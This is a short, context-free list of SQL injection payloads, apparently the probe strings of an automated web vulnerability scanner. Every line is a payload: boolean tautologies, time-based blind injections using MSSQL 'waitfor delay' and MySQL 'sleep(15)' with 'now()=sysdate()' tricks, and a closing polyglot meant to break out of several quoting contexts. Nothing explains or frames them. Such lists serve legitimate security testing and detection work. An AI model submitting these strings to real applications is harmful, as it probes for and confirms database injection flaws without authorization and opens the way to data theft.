1

-1' OR 2+683-683-1=0+0+0+1 or 'bHubzrhm'='

-1" OR 2+540-540-1=0+0+0+1 --

1 waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0)

xKndCzTs'; waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

9XOOs3qk'); waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

UR2sng1e')); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/